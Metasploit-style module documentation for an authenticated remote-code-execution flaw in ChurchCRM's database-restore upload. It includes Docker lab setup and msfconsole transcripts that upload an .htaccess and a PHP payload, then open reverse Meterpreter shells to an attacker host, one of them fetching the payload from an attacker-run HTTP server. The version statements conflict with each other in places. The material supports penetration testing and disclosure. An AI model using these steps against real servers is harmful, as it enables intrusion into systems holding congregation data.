## Vulnerable Application

ChurchCRM is an open-source, PHP-based CRM designed to help churches manage members, groups, events, and finances.

### Description

This module exploits an authenticated Remote Code Execution (RCE) vulnerability in ChurchCRM versions prior to 6.2.0. The vulnerability, tracked as [CVE-2025-68109](https://nvd.nist.gov/vuln/detail/CVE-2025-68109), resides in the database restoration functionnality.

The application fails to properly validate the integrity and format of uploaded backup files during the restoration process. Specifically, even when file is identified as malfomed or invalid, it is still writen to a web-accessible directory.

An autenticated attacker can leverage this behavior to upload a malicious `.htaccess` file to reconfigure the server's directory permissions, followed by a PHP payload. This allow for the execution of arbitrary code under the context of the web server user.

- Project Homepage: https://churchcrm.io/
- Source Code: https://github.com/ChurchCRM/CRM
- Vulnerability Reference: https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77

### Versions tested 

- ChurchCRM 6.2.0 (vulnerable)
- ChurchCRM 6.1.0 (vulnerable)
- ChurchCRM 6.0.2 (vulnerable)

### Docker installation

To quickly set up a testing environment for this module, you can use the following Docker configuration. This setup mimics a fresh installation of **ChurchCRM** on an Ubuntu-based LAMP stack and setup the admin user.

- Create a file named `Dockerfile` with the following content:

```Dockerfile
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

ARG DB_NAME=churchcrm
ARG DB_USER=churchcrm
ARG DB_PASS=churchcrm_password
ARG CHURCHCRM_VERSION=6.8.0
ARG ADMIN_PASS

RUN apt-get update && apt-get install -y software-properties-common \
    && add-apt-repository ppa:ondrej/php -y \
    && apt-get update \
    && apt-get update && apt-get install -y \
    apache2 mariadb-server mariadb-client php8.4 php-bcmath \
    php-cli php-curl php-dev php-gd php-intl php-mbstring \
    php-mysql php-soap php-xml php-zip unzip curl gawk \
    && apt-get clean

ENV VERSION=${CHURCHCRM_VERSION}

WORKDIR /tmp
RUN curl -L -o churchcrm.zip https://github.com/ChurchCRM/CRM/releases/download/$VERSION/ChurchCRM-$VERSION.zip \
    && unzip churchcrm.zip \
    && mv churchcrm /var/www/html/ \
    && mkdir -p /var/www/html/churchcrm/Images/Family \
    && mkdir -p /var/www/html/churchcrm/Images/Person \
    && chown -R www-data:www-data /var/www/html/churchcrm \
    && rm churchcrm.zip

RUN printf "file_uploads = On\n\
allow_url_fopen = On\n\
short_open_tag = On\n\
memory_limit = 256M\n\
upload_max_filesize = 100M\n\
max_execution_time = 360" > /etc/php/8.4/apache2/conf.d/99-churchcrm.ini

RUN echo '<VirtualHost *:80>\n\
    DocumentRoot /var/www/html/churchcrm/\n\
    <Directory /var/www/html/churchcrm/>\n\
        Options -Indexes +FollowSymLinks\n\
        AllowOverride All\n\
        Require all granted\n\
    </Directory>\n\
    ErrorLog ${APACHE_LOG_DIR}/error.log\n\
    CustomLog ${APACHE_LOG_DIR}/access.log combined\n\
</VirtualHost>' > /etc/apache2/sites-available/churchcrm.conf

RUN a2enmod rewrite && a2dissite 000-default.conf && a2ensite churchcrm.conf

COPY start.sh /start.sh
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh

ENV DB_NAME=${DB_NAME}
ENV DB_USER=${DB_USER}
ENV DB_PASS=${DB_PASS}
ENV ADMIN_PASS=${ADMIN_PASS}

EXPOSE 80

CMD ["/start.sh"]
```

- Create a file named `docker-compose.yml` in the same directory:

```yaml
services:
  churchcrm:
    build:
      context: .
      args:
        - CHURCHCRM_VERSION=6.2.0
        - DB_NAME=churchcrm
        - DB_USER=churchcrm
        - DB_PASS=churchcrm_password
        - ADMIN_PASS=AdminPassword123
    container_name: churchcrm_app
    image: churchcrm-image:latest
    ports:
      - "80:80"
    volumes:
      - churchcrm_db_data:/var/lib/mysql
      - churchcrm_web_data:/var/www/html/churchcrm
    restart: unless-stopped

volumes:
  churchcrm_db_data:
  churchcrm_web_data:
```

- Create a file named `start.sh` in the same directory too :

```bash
#!/bin/bash

set -e

service mariadb start

mariadb -e "CREATE DATABASE IF NOT EXISTS ${DB_NAME} DEFAULT CHARACTER SET utf8;"
mariadb -e "GRANT ALL ON ${DB_NAME}.* TO \"${DB_USER}\"@\"localhost\" IDENTIFIED BY \"${DB_PASS}\";"
mariadb -e "FLUSH PRIVILEGES;"

BASE_PASSWORD="changeme"
LOG_URL="http://localhost/session/begin"
LOG_USERNAME="admin"
LOG_PASSWORD="$BASE_PASSWORD"
COOKIE_FILENAME="/tmp/cookie.txt"

function get_cookie() {
  local cookie_file=$1
  curl -s "$LOG_URL" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -L -c "$cookie_file" \
    --data "User=$LOG_USERNAME&Password=$LOG_PASSWORD" > /dev/null
}

function get_csrf_token() {
  local URL=$1
  local result=$(curl -s -L -b "$COOKIE_FILENAME" "$URL")
  echo "$result" | grep -oP 'name="csrf_token" value="\K[^"]+'
}

function change_password() {
  local URL='http://localhost/v2/user/current/changepassword'
  local OLD_PASSWORD=$1
  local NEW_PASSWORD=$2
  local CSRF=$(get_csrf_token "$URL")

  curl -s "$URL" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -L -b "$COOKIE_FILENAME" \
    --data "csrf_token=$CSRF&OldPassword=$OLD_PASSWORD&NewPassword1=$NEW_PASSWORD&NewPassword2=$NEW_PASSWORD&Submit=Save" \
    > /dev/null
}

(
  until curl --output /dev/null --silent --head --fail http://localhost/; do
    echo "En attente d'Apache..."
    sleep 2
  done

  echo "Initialisation du setup ChurchCRM..."
  curl -s "http://localhost/setup/" -X POST \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "DB_SERVER_NAME=localhost&DB_SERVER_PORT=3306&DB_NAME=${DB_NAME}&DB_USER=${DB_USER}&DB_PASSWORD=${DB_PASS}&ROOT_PATH=/&URL=http://localhost/"

  echo "Changement du mot de passe admin..."
  get_cookie "$COOKIE_FILENAME"
  change_password "$BASE_PASSWORD" "$ADMIN_PASS"

  rm -f "$COOKIE_FILENAME"
  echo "Configuration terminée avec succès."
) &

exec apachectl -D FOREGROUND
```

Then, run the following command to start the vulnerable application : 

```bash
docker compose build --build-arg CHURCHCRM_VERSION=VERSION_YOU_WANT --build-arg ADMIN_PASS='CUSTOMPASSWORD' && docker compose up -d
```

Where 
- `VERSION_YOU_WANT` is the version of ChurchCRM you want to test. To test the vulnerability, you can use version `6.2.0` which is the version tested in the PoC. 
- `ADMIN_PASS` is the password of the administrator account. Be aware that this password require a size of at least 6 characters. By default the password is `AdminPassword123`.

Once started, the application will be available at `http://<your-ip>/`.

### Linux installation

If you prefer to set up ChurchCRM on a dedicated Linux host or an LXD container, you can use the official installation script present in the [source code](https://github.com/ChurchCRM/CRM/archive/refs/tags/5.2.0.zip).

> [!WARNING] By default, the installer fetches the latest version of ChurchCRM. To test this specific exploit, you **must** force the script to use the version you want.

For example, if you want to test version `6.2.0`, you can modify the `VERSION` variable in the installation script as follows : 

```shell
VERSION=$(eval "$VERSION_CMD") #112
# Become
VERSION="6.2.0"
```

The application should also be available at `http://<your-ip>/`. You will need to manualy setup the admin account's password in order to have access to the restore database functionnality.

## Verification step

1. Start `msfconsole`
2. `use exploit/multi/http/churchcrm_db_restore_rce`
3. Set the target `RHOSTS` and `RPORT` according to the target Host and the port which ChurchCRM's service is running.
4. Set your host and port for the reverse shell connection at `LHOST` and `LPORT`.
5. Set the `TARGETURI` which represent the base path that lead to the ChurchCRM page.
6. Set the `USERNAME` and `PASSWORD` of the admin account.
7. Set the target (0 for Linux, 1 for PHP (In-Memory), 2 for PHP (Fetch)).
8. Set the payload you want to use.
9. Run the exploit with `run`.

## Scenarios

### Linux target : ChurchCRM 6.2.0 on Ubuntu 22.04 LTS (Docker Image)

```bash
msf > use exploit/multi/http/churchcrm_db_restore_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 0
target => 0
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
PASSWORD => Password123!
msf exploit(multi/http/churchcrm_db_restore_rce) > show options

Module options (exploit/multi/http/churchcrm_db_restore_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   Password123!     yes       Password for the admin account
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVSSL     false            no        Negotiate SSL/TLS for local server connections
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            yes       Username for the admin account
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
                                       all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux/unix Command (CmdStager)



View the full module info with the info, or info -d command.

msf exploit(multi/http/churchcrm_db_restore_rce) > check
[*] Found ChurchCRM version: 6.2.0
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.2.0 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_db_restore_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Getting the session cookie
[+] The session cookie has been received
[*] Uploading the file : .htaccess
[+] The file have been uploaded successfully
[*] Uploading the file : basmIMy.php
[+] The file have been uploaded successfully
[*] Trying to execute the payload
[*] Command Stager progress -  59.76% done (499/835 bytes)
[*] Sending stage (3090404 bytes) to 172.18.0.2
[+] Deleted .htaccess
[+] Deleted basmIMy.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:58848) at 2026-03-06 09:23:07 +0100
[*] Command Stager progress - 100.00% done (835/835 bytes)
[+] Payload successfully executed

meterpreter > getpid
Current pid: 259
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 01209387574a
OS           : Ubuntu 22.04 (Linux 6.18.13-arch1-1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

### PHP (In-Memory) target : ChurchCRM 6.0.2 on Ubuntu 22.04 LTS (Docker Image)

```bash
msf > use exploit/multi/http/churchcrm_db_restore_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 1
target => 1
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
PASSWORD => Password123!
msf exploit(multi/http/churchcrm_db_restore_rce) > show options

Module options (exploit/multi/http/churchcrm_db_restore_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   Password123!     yes       Password for the admin account
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVSSL     false            no        Negotiate SSL/TLS for local server connections
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            yes       Username for the admin account
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
                                       all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   PHP (In-Memory)



View the full module info with the info, or info -d command.

msf exploit(multi/http/churchcrm_db_restore_rce) > check
[*] Found ChurchCRM version: 6.0.2
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.0.2 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_db_restore_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Getting the session cookie
[+] The session cookie has been received
[*] Uploading the file : .htaccess
[+] The file have been uploaded successfully
[*] Uploading the file : LQyZQTSxhC.php
[+] The file have been uploaded successfully
[*] Trying to execute the payload
[*] Sending stage (42137 bytes) to 172.18.0.2
[+] Deleted .htaccess
[+] Deleted LQyZQTSxhC.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:33138) at 2026-03-06 09:49:16 +0100
[+] Payload successfully executed

meterpreter > getpid
Current pid: 224
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer        : c03035cd436a
OS              : Linux c03035cd436a 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter >
```


### PHP (Fetch) target : ChurchCRM 6.1.0 on Ubuntu 22.04 LTS (Docker Image)

```bash
msf > use exploit/multi/http/churchcrm_db_restore_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 2
target => 2
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
PASSWORD => Password123!
msf exploit(multi/http/churchcrm_db_restore_rce) > show options

Module options (exploit/multi/http/churchcrm_db_restore_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   Password123!     yes       Password for the admin account
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVSSL     false            no        Negotiate SSL/TLS for local server connections
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            yes       Username for the admin account
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
                                       all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   PHP (fetch)



View the full module info with the info, or info -d command.

msf exploit(multi/http/churchcrm_db_restore_rce) > check
[*] Found ChurchCRM version: 6.1.0
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.1.0 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_db_restore_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Starting HTTP server to serve the payload...
[*] Using URL: http://172.18.0.1:8080/egTqoxbjVEOA0
[*] Getting the session cookie
[+] The session cookie has been received
[*] Uploading the file : .htaccess
[+] The file have been uploaded successfully
[*] Uploading the file : CVOdZQanyf.php
[+] The file have been uploaded successfully
[*] Trying to execute the payload
[*] Sending stage (42137 bytes) to 172.18.0.2
[+] Deleted .htaccess
[+] Deleted CVOdZQanyf.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:39974) at 2026-03-06 09:56:50 +0100
[+] Payload successfully executed
[*] Server stopped.

meterpreter > getpid
Current pid: 204
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer        : 92a096dddee2
OS              : Linux 92a096dddee2 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter >
```
